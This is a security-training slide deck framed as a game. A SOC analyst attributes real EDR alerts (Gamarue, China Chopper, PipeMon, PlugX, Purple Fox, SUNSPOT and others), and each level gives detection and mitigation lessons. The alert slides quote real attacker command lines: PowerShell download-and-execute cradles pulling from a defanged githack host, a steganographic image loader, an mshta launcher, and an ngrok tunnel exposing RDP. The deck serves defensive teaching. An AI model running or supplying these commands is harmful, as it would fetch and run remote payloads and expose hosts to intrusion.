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Disclaimer

All thoughts and opinions 

expressed in this 

presentation are not 

reflective of my 

employers’ views. They are 

also not necessarily 

related to my work as an 

Analyst…

They’re related to the 

work of Gingey McGinge… 



GAME-ON Tutorial

We’re going to follow Gingey McGinge, a Security Operations 

Center (SOC) Analyst looking at alerts in SimplEDR© an Endpoint

Detection and Response solution. Your goal is to determine 

(attribute) if the alerts were caused by:

Government (APT) malware/activity

Admin Activity

Malware used by ‘Cyber Criminals’ 

Engineer Activity

Patterns play 

an important 

role in 

security 

analysis!

Help Gingey get the stars!*

* Stars may inadvertently lead to being branded an ‘Infosec Rockstar’

Use the heart to restart



Disclaimer… again

Attribution is hard, an 

art, and you seldom, if 

ever, have 100% 

confidence. I do not work 

in an intel/attribution 

role. These scenarios are 

related to the work of 

Gingey McGinge (crafted 

based on public 

vendor/intel reporting).



SimplEDR Tutorial

A suspicious process has run

Gingey has found an artefact of interest

A suspicious modification has been made

A suspicious network connection has been made



Gingey McGinge
He needs your help!

Admin

Malware

Engineer

GovernmentLevel 1: Gamarue Gorge



Government

Admin

Malware

Engineer

rundll32.exe --_-_-_--_-_____-_--_-_-_----____--_---_-_--__-_-_-

__.{1D5906E3-DAB2-42A6-91B0-0EEF01E691AE}, 

FPR8puhjQK463G0E 

File: E:\SAMSUNG (2GB).lnk

File: E:\ \desktop.ini

File: E:\ \--_-_-_--_-_____-_--_-_-_----____--_---_-_--__-_-_-__

EDR ALERT!

https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/
https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation



Real World Talk



Lessons Learned

Andromeda (Gamarue) is a worm (Bot) 

which spreads via removable media. This 

is used in eCrime Operations (Cyber 

Crime).

Andromeda moves all files from removable 

media into a hidden folder and places a 

malicious DLL hidden inside of that folder. 

It then creates a link file with the same 

name as the infected USB. This file looks 

like a USB icon, except it is designed to 

run the hidden DLL via rundll32.exe, and 

then open the hidden folder.

rundll32.exe pointing to a long file name 

with a long extension, and random 

exported function name.

Botnet was disrupted in 2017 by law 

enforcement. Block rundll32.exe running 

against non .DLL files. Show hidden files. 

Security tools.

Summary

Technical Information

Identification

Mitigation



“cmd.exe” /c cd /d 

“C:\\inetpub\\wwwroot\\aspnet_client\\system_web”&net group 

“Exchange Organization administrators” administrator /del 

/domain&echo [S]&cd&echo [E]

EDR ALERT!

File: 

C:\inetpub\wwwroot\aspnet_client\system_web\taSEwv08.aspx

Connection:

157.230.221.198 (DigitalOcean LLC)

Level 2: Get to the 

Chopper!

Government

Admin

Malware

Engineer

https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/

https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf

https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/



Real World Talk



Lessons Learned

China Chopper is a tiny webshell with vast 

capabilities. It’s mostly used amongst 

Chinese adversaries.

China Chopper is essentially an ‘eval shell’ 

and is a mere 4kb in size. The client 

interacts with this shell and does all the 

heavy lifting. Some capabilities include the 

following:

• File Explorer/Management

• Database Management 

• Virtual Terminal.

&echo [S]&cd&echo [E]. 

“eval”.

w3wp running cmd.exe.

Set .NET Trust Levels to anything except 

‘Full’ for ASP(X) variants. Custom IIS 

handlers. Prevent cmd.exe running from 

w3wp.exe. Security tools.

Summary

Technical Information

Identification

Mitigation



setup.exe -x:0

Files: 

C:\Windows\System32\spool\prtprocs\x64\DEment.dll

C:\Windows\System32\spool\prtprocs\x64\NTFSSSE.log

C:\Windows\System32\spool\prtprocs\x64\banner.bmp

C:\Windows\System32\spool\prtprocs\x64\License.hwp

Registry Keys: 

HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print 

Processors\PrintFiiterPipelineSvc\Driver = “DEment.dll”

HKLM\SOFTWARE\Microsoft\Print\Components\DC20FD7E-4B1B-4B88-8172-

61F0BED7D9E8

Spoolsv.exe

Explorer.exe

Level 3: Pilot Piper
EDR ALERT!

Government

Admin

Malware

Engineer

https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/

https://attack.mitre.org/techniques/T1547/012/



Real World Talk



Lessons Learned

PipeMon implant consists of a print 

processor DLL signed with certificates 

previously stolen.  

PipeMon uses a novel technique of 

persistence through a malicious print 

processor and is to date one of only 2 

publicly reported malware families to use 

this technique (the other is the TDL3 

rootkit). This causes the DLL and 

malicious code to be executed by 

spoolsv.exe (printer spooler).

Newly installed print processors. Files with 

unusual extensions e.g. not .dll. Encrypted 

payload in registry. Unusual child 

processes of spoolsv.exe.

Hook AddPrintProcessor and 

GetPrintProcessorDirectory API calls. 

Prevent install of print processor files/keys. 

Remove admin rights. Security tools.

Summary

Technical Information

Identification

Mitigation



Powershell -c Get-WmiObject -Class __FilterToConsumerBinding -Namespace 

root\subscription;Level 4: Why MI?

Powershell -c Get-WmiObject -Class __EventConsumer –Namespace 

root\subscription;

Powershell -c Get-WmiObject -Class __EventFilter -Namespace 

root\subscription;

EDR ALERT!

Government

Admin

Malware

Engineer



Real World Talk



Lessons Learned

Persistent WMI Subscriptions aren’t 

commonly used (besides crypto mining 

worms), but are extremely powerful.

Persistent WMI Subscriptions require a 

consumer, filter, and binding. These 

function as the below:

Consumer = Action/Payload

Filter = Trigger/Conditions

Binding = Linking Trigger to Action.

Monitor for new WMI subscriptions 

(Sysmon 19, 20, 21). Easy to filter false 

positives. Event 5861 on Windows 10 for 

EventFilterToConsumerBinding.

Remove admin rights. Give extra scrutiny 

to anything running from WmiPrvSe.exe 

particularly powershell.exe. Security tools.

Summary

Technical Information

Identification

Mitigation



Files: 

C:\Users\USER\Downloads\svchost.exe

C:\Users\USER\Downloads\p.ps1

svchost.exe

EDR ALERT!
Government

Admin

Malware

Engineer

ngrok.exe tcp 3389

Connection:

rdp://92832de0.ngrok.io -> localhost:3389

https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/

Level 5: Ngrok Networking



Real World Talk



Lessons Learned

Ngrok is a legitimate tunnelling tool which 

exposes a local service to the internet. 

This comes will a lot of risk.

Ngrok takes a configuration file or 

parameters, makes an outbound 

connection to the ngrok cloud service 

which is publicly accessible, and relays 

connections from that to a local port 

identified in its config. This tunnel 

effectively bypasses firewalls and exposes 

a host to the internet.

Connections to ngrok.io. Processes 

connecting to ‘::1’ (IPv6) or 127.0.0.1 

(IPv4) which have outbound cons. 

Block Ngrok domain. Network IDS/Packet 

inspection for protocol deviations e.g. to 

detect RDP inside of HTTPS. Restrict 

RDP/Local Admin. Offsite backups. 

Security tools.

Summary

Technical Information

Identification

Mitigation



Files: 

C:\ProgramData\RasTls\ushata.dll

C:\ProgramData\RasTls\ushata.dll.818

C:\ProgramData\SxS\NvSmart.hlp

svchost.exe

EDR ALERT!

update.exe

avp.exe (Kaspersky AV)

Registry Keys: 

HKLM\SOFTWARE\Classes\SOFTWARE\Microsoft\

Windows\CurrentVersion\Run\RasTls = 

“C:\ProgramData\RasTls\avp.exe”

Level 6: Plug-N-Play

Government

Admin

Malware

Engineer

https://www.circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf

https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/

https://www.fireeye.com/blog/threat-research/2013/05/targeted-attack-trend-alert-plugx-the-old-dog-with-a-new-trick.html



Real World Talk



Lessons Learned

PlugX malware acts as a fully fledged 

Remote Access Tool (RAT). It comes in 

the form of a DLL sideloaded into valid 

signed binaries with an encrypted payload.

The PlugX implant is modular and can be 

created through a ‘builder’. This is a 

popular tool in targeted attacks and uses 

DLL Search Order Hijacking to sideload a 

loader DLL into a legitimate executable 

(often an AV product). This then decrypts 

and runs an encrypted payload.

Executables which write only 3 files 

(including an exe, dll) to disk in a new 

folder. Run key / common persistence 

modification pointing to AV products.

Prevent unsigned DLLs being loaded by 

products, particularly AV products. 

Email/Link Filtering to prevent initial spear-

phishing. Hook VirtualAlloc API calls etc. 

Security tools.

Summary

Technical Information

Identification

Mitigation



IEXPLORE.exe (Internet Explorer)

mshta.exe vbscript:createobject(“wscript.shell”).run(“PowerShell –

nop –windowstyle hidden –exec bypass –EncodedCommand

DQAKA[SNIP]

powershell.exe -c for($i=1;$i -le 10;$i++){iex(new-object 

net.webclient).downloadstring("https://rawcdn.githack[.]net/

up.php?key=5") Start-Sleep 30}

Connection:

https://rawcdn[.]githack.net/up.php

powershell.exe" "sal a New-Object;Add-Type -A System.Drawing;$USqE7mx6bIiw=a System.Drawing.Bitmap((a 

Net.WebClient).OpenRead('https://rawcdn.githack[.]net/up.php?key=8'));$6LaPMcAxP3Av=a Byte[] 

844800;(0..527)|%{foreach($ewmnNBhFbkPd

in(0..1599)){$cmMposje8Gbs=$USqE7mx6bIiw.GetPixel($ewmnNBhFbkPd,$_);$6LaPMcAxP3Av[$_*1600+$ewmnNB

hFbkPd]=([math]::Floor(($cmMposje8Gbs.B-band15)*16)-bor($cmMposje8Gbs.G -band 

15))}};IEX([System.Text.Encoding]::ASCII.GetString($6LaPMcAxP3Av[0..844761]))"

Level 7: Fast Fox

https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/

EDR ALERT!

Government

Admin

Malware

Engineer



Real World Talk



Lessons Learned

CVE-2021-26411 (IE 0-Day) was used in 

targeted attacks against Security Researchers. 

1 month after a POC was public, it was 

weaponised in the ‘Purple Fox’ exploit kit.

CVE-2021-26411 is a memory corruption 

vulnerability which allows remote code 

execution on a host which simply views a 

malicious website. This leveraged 

JavaScript to exploit the vulnerability and 

proxy through Microsoft’s HTML 

Application executable. The Purple Fox EK 

has bundled this with PowerShell to run 

privesc exploit code which is embedded in 

pictures using steganography techniques. 

mshta.exe running with ‘wscript.shell’. 

githack[.]net (not to be confused with 

githack.com). Unusual child processes of 

IExplore.exe. PowerShell Script Block Log.

Don’t use IE. Disable mshta.exe, it almost 

always isn’t required. Patch your system. 

Open untrusted websites in a sandbox or 

via a virtual machine. Dnstwist to find 

domain masquerading. 

Security tools.

Summary

Technical Information

Identification

Mitigation



EDR ALERT!

svchost.exe -k netsvcs -p -s Schedule

taskhostsvc.exe

Files: 

C:\Windows\Temp\vmware-vmdmp.log

InventoryManager.cs

InventoryManager.bk

Final Boss:Spot

The Difference

Government

Admin

Malware

Engineer

Imposter
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/



Real World Talk



Lessons Learned

SUNSPOT was used to insert the 

SUNBURST backdoor into SolarWinds’ 

Orion IT management software.

SUNSPOT was called taskhostsvc.exe on 

disk and was called taskhostw.exe 

internally during development. This is 

tracked as part of the StellarParticle

(UNC2452/Dark Halo) cluster of activity. 

SUNSPOT monitors for build msbuild.exe 

processes and when it is found, it will 

modify existing C# files to embed its 

backdoor into the C# file. 

Encrypted log: vmware-vmdmp.log. 

Masquerading binary name: 

taskhostsvc.exe.

Prevent/track creation of new scheduled 

tasks. Review your supply chain and their 

security practices. Bin diff compiled 

software as part of QA. Security tools.

Summary

Technical Information

Identification

Mitigation



Congratulations!

Tallying your overall score:

……

You missed your Service 

Level Agreement by 5 

minutes. A meeting has 

been scheduled with 

management to explain why.



Final Notes





CREDITS: This presentation template was created by 

Slidesgo, including icons by Flaticon, and infographics & 

images by Freepik. 

THANKS!
Have any questions? 

@CyberRaiju

Also Google…with severe 

modifications…
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